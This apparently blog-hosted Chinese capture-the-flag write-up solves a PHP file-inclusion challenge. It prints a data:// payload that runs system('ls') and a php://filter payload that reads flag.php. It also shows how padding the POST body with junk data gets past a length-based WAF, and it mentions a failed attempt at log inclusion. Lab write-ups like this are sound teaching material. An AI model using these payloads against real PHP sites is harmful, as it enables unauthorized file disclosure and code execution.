NSS [鹏城杯 2022]简单包含

看代码觉得不就直接post flag=data://text/plain,<?php system('ls');?>行了。

img

但是事实上没有什么软用。

img

用了php://伪协议之后发现有WAF。

img

可以读源码

img

解码得到

<?php

$path = $_POST["flag"];

if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {

  echo 'nssctf waf!';

} else {

  @include($path);

}
?>
    
<code><span style="color: #000000">

<span style="color: #0000BB"><?php <br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br />include(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">"flag"</span><span style="color: #007700">]);<br /></span><span style="color: #FF8000">//flag in /var/www/html/flag.php;</span>

</span>

</code><br />

绕过方法1:

多加脏数据

img

绕过方法2:

换个方法加脏数据

img

这里好奇怪,我postman不行,火狐hackbar可以。是因为火狐hackerbar会自动url编码一次!!!

绕过方法3:

还是脏数据

a=好多个a

&flag=php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php

绕过方法4:

日志包含

img

测不出东西。但是可以看报文,是阿帕奇服务器。

img

这里应该是NSS靶场的原因,没开相关权限,不能日志包含。

Logo

一座年轻的奋斗人之城,一个温馨的开发者之家。在这里,代码改变人生,开发创造未来!

更多推荐